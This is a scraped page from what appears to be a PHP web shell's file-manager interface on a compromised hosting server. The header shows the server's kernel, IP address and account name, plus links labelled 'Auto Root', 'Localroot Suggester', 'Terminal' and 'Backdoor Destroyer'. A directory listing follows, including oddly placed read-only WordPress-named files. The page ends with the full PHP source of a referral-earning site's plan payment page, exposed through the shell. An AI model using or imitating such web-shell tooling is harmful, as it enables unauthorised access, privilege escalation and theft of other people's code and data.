Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 16:59
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
14.63
KB
-rw-r--r--
2025-12-26 15:26
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 16:12
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 11:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 11:57
error_log
3.62
KB
-rw-r--r--
2025-12-29 11:07
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:33
history.php
25.06
KB
-rw-r--r--
2026-01-26 17:23
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 13:08
lucky_wheel.php
30.91
KB
-rw-r--r--
2026-01-26 17:01
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 11:04
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 16:58
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 08:48
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 08:47
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 09:11
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-24 08:08
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); $user = getUserData($_SESSION['user_id']); $pkrRate = (float) getSetting('pkr_rate', '280'); $currency = getSetting('currency_symbol', '$'); // Get plan ID if (!isset($_GET['plan_id']) || !is_numeric($_GET['plan_id'])) { setError("Invalid plan"); header('Location: my_plan.php'); exit; } // Prevent purchase if already has active plan (Strictly removed to allow manual upgrades via plan_payment) // if (hasActivePlan($_SESSION['user_id'])) { // setError("You already have an active plan."); // header('Location: my_plan.php'); // exit; // } $hasActivePlan = hasActivePlan($_SESSION['user_id']); $planId = intval($_GET['plan_id']); // Get plan details $stmt = $pdo->prepare("SELECT * FROM plans WHERE id = ? AND status = 'active'"); $stmt->execute([$planId]); $plan = $stmt->fetch(); if (!$plan) { setError("Plan not found"); header('Location: my_plan.php'); exit; } // Get payment methods $stmt = $pdo->prepare("SELECT * FROM payment_methods WHERE status = 'active' ORDER BY name ASC"); $stmt->execute(); $paymentMethods = $stmt->fetchAll(); // Handle form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $method = $_POST['method']; if ($method === 'D-Pin') { $pinCode = trim($_POST['pin_code']); // Find and Validate Pin $stmt = $pdo->prepare("SELECT * FROM d_pins WHERE pin_code = ? AND status = 'unused'"); $stmt->execute([$pinCode]); $pin = $stmt->fetch(); if (!$pin) { setError("Invalid or already used D-Pin code."); } elseif ($pin['price'] < $plan['plan_price']) { setError("This D-Pin value (" . formatCurrency($pin['price']) . ") is less than the plan price (" . formatCurrency($plan['plan_price']) . ")."); } else { try { $pdo->beginTransaction(); // Mark Pin as Used $stmt = $pdo->prepare("UPDATE d_pins SET status = 'used', used_by = ?, used_at = NOW() WHERE id = ?"); $stmt->execute([$_SESSION['user_id'], $pin['id']]); // Deactivate any existing active plan $pdo->prepare("UPDATE user_plans SET status = 'expired' WHERE user_id = ? AND status = 'active'")->execute([$_SESSION['user_id']]); // Activate New Plan $startDate = date('Y-m-d'); if ($plan['plan_duration'] > 0) { $endDate = date('Y-m-d', strtotime("+{$plan['plan_duration']} days")); } else { $endDate = '2099-12-31'; // Lifetime } $stmt = $pdo->prepare(" INSERT INTO user_plans (user_id, plan_id, status, start_date, end_date) VALUES (?, ?, 'active', ?, ?) "); $stmt->execute([$_SESSION['user_id'], $planId, $startDate, $endDate]); // Distribute Commission distributeReferralCommission($_SESSION['user_id'], $plan['plan_price']); // --- AWARD LUCKY WHEEL TICKETS --- // 1. Allocate spins for purchasing ANY plan $spinsPerPlan = (int) getSetting('lucky_wheel_spins_per_plan', 0); if ($spinsPerPlan > 0) { $stmt = $pdo->prepare("UPDATE users SET lucky_wheel_spins_left = lucky_wheel_spins_left + ? WHERE id = ?"); $stmt->execute([$spinsPerPlan, $_SESSION['user_id']]); } // 2. Check if this is their FIRST plan purchase ever $stmt = $pdo->prepare("SELECT COUNT(*) FROM user_plans WHERE user_id = ? AND status = 'active'"); $stmt->execute([$_SESSION['user_id']]); $activePlansCount = (int) $stmt->fetchColumn(); if ($activePlansCount === 1) { if (!empty($user['referrer_id'])) { $spinsPerReferral = (int) getSetting('lucky_wheel_spins_per_referral', 0); if ($spinsPerReferral > 0) { $stmt = $pdo->prepare("UPDATE users SET lucky_wheel_spins_left = lucky_wheel_spins_left + ? WHERE id = ?"); $stmt->execute([$spinsPerReferral, $user['referrer_id']]); } } } // --------------------------------- $pdo->commit(); setSuccess("Plan " . ($hasActivePlan ? "upgraded" : "activated") . " successfully using D-Pin!"); header('Location: my_plan.php'); exit; } catch (Exception $e) { if ($pdo->inTransaction()) $pdo->rollBack(); setError("Upgrade failed: " . $e->getMessage()); } } } elseif ($method === 'Balance') { // Pay with Balance logic... if ($user['wallet_balance'] >= $plan['plan_price']) { try { $pdo->beginTransaction(); // Deduct balance $stmt = $pdo->prepare("UPDATE users SET wallet_balance = wallet_balance - ? WHERE id = ?"); $stmt->execute([$plan['plan_price'], $_SESSION['user_id']]); // Activate Plan $startDate = date('Y-m-d'); if ($plan['plan_duration'] > 0) { $endDate = date('Y-m-d', strtotime("+{$plan['plan_duration']} days")); } else { $endDate = '2099-12-31'; // Lifetime } // Deactivate any existing active plan $pdo->prepare("UPDATE user_plans SET status = 'expired' WHERE user_id = ? AND status = 'active'")->execute([$_SESSION['user_id']]); $stmt = $pdo->prepare(" INSERT INTO user_plans (user_id, plan_id, status, start_date, end_date) VALUES (?, ?, 'active', ?, ?) "); $stmt->execute([$_SESSION['user_id'], $planId, $startDate, $endDate]); // Distribute Commission distributeReferralCommission($_SESSION['user_id'], $plan['plan_price']); // --- AWARD LUCKY WHEEL TICKETS --- // 1. Allocate spins for purchasing ANY plan $spinsPerPlan = (int) getSetting('lucky_wheel_spins_per_plan', 0); if ($spinsPerPlan > 0) { $stmt = $pdo->prepare("UPDATE users SET lucky_wheel_spins_left = lucky_wheel_spins_left + ? WHERE id = ?"); $stmt->execute([$spinsPerPlan, $_SESSION['user_id']]); } // 2. Check if this is their FIRST plan purchase ever $stmt = $pdo->prepare("SELECT COUNT(*) FROM user_plans WHERE user_id = ? AND status = 'active'"); $stmt->execute([$_SESSION['user_id']]); $activePlansCount = (int) $stmt->fetchColumn(); if ($activePlansCount === 1) { if (!empty($user['referrer_id'])) { $spinsPerReferral = (int) getSetting('lucky_wheel_spins_per_referral', 0); if ($spinsPerReferral > 0) { $stmt = $pdo->prepare("UPDATE users SET lucky_wheel_spins_left = lucky_wheel_spins_left + ? WHERE id = ?"); $stmt->execute([$spinsPerReferral, $user['referrer_id']]); } } } // --------------------------------- $pdo->commit(); setSuccess("Plan purchased successfully using balance!"); header('Location: my_plan.php'); exit; } catch (Exception $e) { if ($pdo->inTransaction()) $pdo->rollBack(); setError("Purchase failed: " . $e->getMessage()); } } else { setError("Insufficient wallet balance."); } } else { // Manual Deposit // Check if the file was too large for post_max_size if ($_SERVER['REQUEST_METHOD'] === 'POST' && empty($_FILES) && $_SERVER['CONTENT_LENGTH'] > 0) { setError("The file you are trying to upload is too large for the server. Please try a smaller image (max 50MB)."); } elseif (!isset($_FILES['screenshot'])) { setError("Please upload payment screenshot"); } elseif ($_FILES['screenshot']['error'] !== UPLOAD_ERR_OK) { switch ($_FILES['screenshot']['error']) { case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: setError("File is too large. Max allowed size is 50MB. Please use a smaller image or compress your screenshot."); break; case UPLOAD_ERR_PARTIAL: setError("File was only partially uploaded. Please check your internet connection and try again."); break; case UPLOAD_ERR_NO_FILE: setError("Please upload payment screenshot"); break; default: setError("Failed to upload screenshot. Error code: " . $_FILES['screenshot']['error']); } } else { // Increase execution time for large file moves @ini_set('max_execution_time', '300'); $allowed = ['jpg', 'jpeg', 'png', 'gif', 'webp']; $filename = $_FILES['screenshot']['name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($ext, $allowed)) { setError("Invalid file type. Only JPG, PNG, GIF, and WEBP allowed"); } else { // Generate unique filename $newFilename = uniqid() . '_' . time() . '.' . $ext; $uploadPath = '../uploads/screenshots/' . $newFilename; if (move_uploaded_file($_FILES['screenshot']['tmp_name'], $uploadPath)) { try { // Insert deposit record (Plan purchase) $stmt = $pdo->prepare(" INSERT INTO deposits (user_id, amount, method, screenshot, plan_id, status) VALUES (?, ?, ?, ?, ?, 'pending') "); $stmt->execute([ $_SESSION['user_id'], $plan['plan_price'], $method, $newFilename, $planId ]); // Insert user plan record $stmt = $pdo->prepare(" INSERT INTO user_plans (user_id, plan_id, status, payment_screenshot) VALUES (?, ?, 'pending', ?) "); $stmt->execute([$_SESSION['user_id'], $planId, $newFilename]); setSuccess("Payment submitted successfully! Waiting for admin approval."); header('Location: my_plan.php'); exit; } catch (PDOException $e) { setError("Failed to submit payment. Please try again."); } } else { setError("Failed to upload screenshot"); } } } } } $page_title = 'Plan Payment - ' . $plan['plan_name']; include 'header.php'; ?> <?php $error = getError(); if ($error) { echo '<div class="alert alert-danger"><i class="fas fa-exclamation-circle"></i> ' . htmlspecialchars($error) . '</div>'; } ?> <div class="card"> <div class="card-header"> <i class="fas fa-credit-card"></i> Plan Payment </div> <div class="card-body"> <!-- Plan Details --> <div class="card" style="margin-bottom: 20px; background: var(--dark-bg); border: 2px solid var(--primary-color);"> <div class="card-body"> <h3 style="color: var(--primary-color); margin-bottom: 10px;"> <?php echo htmlspecialchars($plan['plan_name']); ?> </h3> <div style="font-size: 32px; font-weight: bold; color: var(--text-primary); margin-bottom: 5px;"> <?php echo $currency; ?><?php echo number_format($plan['plan_price'], 3); ?> </div> <div style="font-size: 16px; color: #2ecc71; font-weight: 600; margin-bottom: 15px;"> ≈ <?php echo number_format($plan['plan_price'] * $pkrRate, 2); ?> PKR </div> <ul style="list-style: none; padding: 0;"> <li style="padding: 5px 0; color: var(--text-secondary);"> <i class="fas fa-check" style="color: var(--success-color);"></i> <?php echo $plan['ads_limit_per_day']; ?> Ads per day </li> <li style="padding: 5px 0; color: var(--text-secondary);"> <i class="fas fa-check" style="color: var(--success-color);"></i> <?php echo $plan['plan_duration'] > 0 ? $plan['plan_duration'] . ' Days' : 'Lifetime'; ?> validity </li> </ul> </div> </div> <!-- Available Balance Display --> <div class="alert alert-success" style="background: rgba(40, 167, 69, 0.1); border: 1px solid #28a745;"> <h4 style="margin: 0; color: #28a745;"> <i class="fas fa-wallet"></i> Your Balance: <?php echo formatCurrency($user['wallet_balance']); ?> </h4> </div> <!-- Payment Instructions --> <div class="alert alert-info" id="manual-instructions" style="display:none;"> <h4 style="margin-bottom: 10px;"><i class="fas fa-info-circle"></i> Payment Instructions</h4> <ol style="margin: 0; padding-left: 20px;"> <li>Send <strong><?php echo $currency . number_format($plan['plan_price'], 3); ?> (≈ <?php echo number_format($plan['plan_price'] * $pkrRate, 2); ?> PKR)</strong> to the account number shown below </li> <li>Take a screenshot of the payment</li> <li>Upload the screenshot and submit</li> <li>Wait for admin approval</li> </ol> </div> <!-- Payment Form --> <form method="POST" action="" enctype="multipart/form-data"> <div class="form-group"> <label class="form-label">Payment Method</label> <select name="method" id="payment-method" class="form-control" required> <option value="">Select Payment Method</option> <option value="Balance">Pay with Balance (Instant)</option> <option value="D-Pin">Pay with D-Pin (Instant)</option> <?php foreach ($paymentMethods as $m): ?> <option value="<?php echo htmlspecialchars($m['name']); ?>"> <?php echo htmlspecialchars($m['name']); ?> </option> <?php endforeach; ?> </select> </div> <!-- Dynamic Payment Details --> <?php foreach ($paymentMethods as $m): ?> <div id="details-<?php echo htmlspecialchars($m['name']); ?>" class="method-details" style="display: none;"> <div class="card" style="margin-bottom: 20px; background: var(--dark-bg);"> <div class="card-body"> <h4 style="color: var(--primary-color); margin-bottom: 15px;"> <i class="fas fa-university"></i> <?php echo htmlspecialchars($m['name']); ?> Account </h4> <p style="color: var(--text-secondary); margin-bottom: 10px;"> <strong>Account Number:</strong><br> <span style="font-size: 20px; color: var(--text-primary);"><?php echo htmlspecialchars($m['account_number']); ?></span> </p> <p style="color: var(--text-secondary);"> <strong>Account Name:</strong><br> <span style="font-size: 18px; color: var(--text-primary);"><?php echo htmlspecialchars($m['account_name']); ?></span> </p> </div> </div> </div> <?php endforeach; ?> <!-- D-Pin Input --> <div id="dpin-group" style="display:none; margin-bottom: 20px;"> <div class="card" style="background: var(--dark-bg); border: 1px dashed var(--primary-color);"> <div class="card-body"> <label class="form-label" style="color: var(--primary-color);">Enter D-Pin Code</label> <input type="text" name="pin_code" id="pin-input" class="form-control" placeholder="XXXX-XXXX-XXXX"> <small style="color: var(--text-secondary); margin-top: 5px; display: block;"> Enter the unique D-Pin code you purchased or received. </small> </div> </div> </div> <div class="form-group" id="screenshot-group" style="display:none;"> <label class="form-label">Upload Payment Screenshot</label> <input type="file" name="screenshot" id="screenshot-input" class="form-control" accept="image/*"> <small style="color: var(--text-secondary); display: block; margin-top: 5px;"> Accepted formats: JPG, PNG, GIF, WEBP </small> </div> <button type="submit" class="btn btn-primary btn-block"> <i class="fas fa-paper-plane"></i> Submit Payment </button> </form> <div class="text-center mt-20"> <a href="my_plan.php" class="btn btn-secondary"> <i class="fas fa-arrow-left"></i> Back to Plans </a> </div> </div> </div> <script> document.getElementById('payment-method').addEventListener('change', function () { const screenshotGroup = document.getElementById('screenshot-group'); const screenshotInput = document.getElementById('screenshot-input'); const manualInstructions = document.getElementById('manual-instructions'); const dpinGroup = document.getElementById('dpin-group'); const pinInput = document.getElementById('pin-input'); const allDetails = document.querySelectorAll('.method-details'); // Hide everything first allDetails.forEach(el => el.style.display = 'none'); screenshotGroup.style.display = 'none'; manualInstructions.style.display = 'none'; dpinGroup.style.display = 'none'; screenshotInput.required = false; pinInput.required = false; const selectedMethod = this.value; if (selectedMethod === 'D-Pin') { dpinGroup.style.display = 'block'; pinInput.required = true; } else if (selectedMethod && selectedMethod !== 'Balance') { const detailsDiv = document.getElementById('details-' + selectedMethod); if (detailsDiv) detailsDiv.style.display = 'block'; screenshotGroup.style.display = 'block'; manualInstructions.style.display = 'block'; screenshotInput.required = true; } }); </script> <?php include 'footer.php'; ?>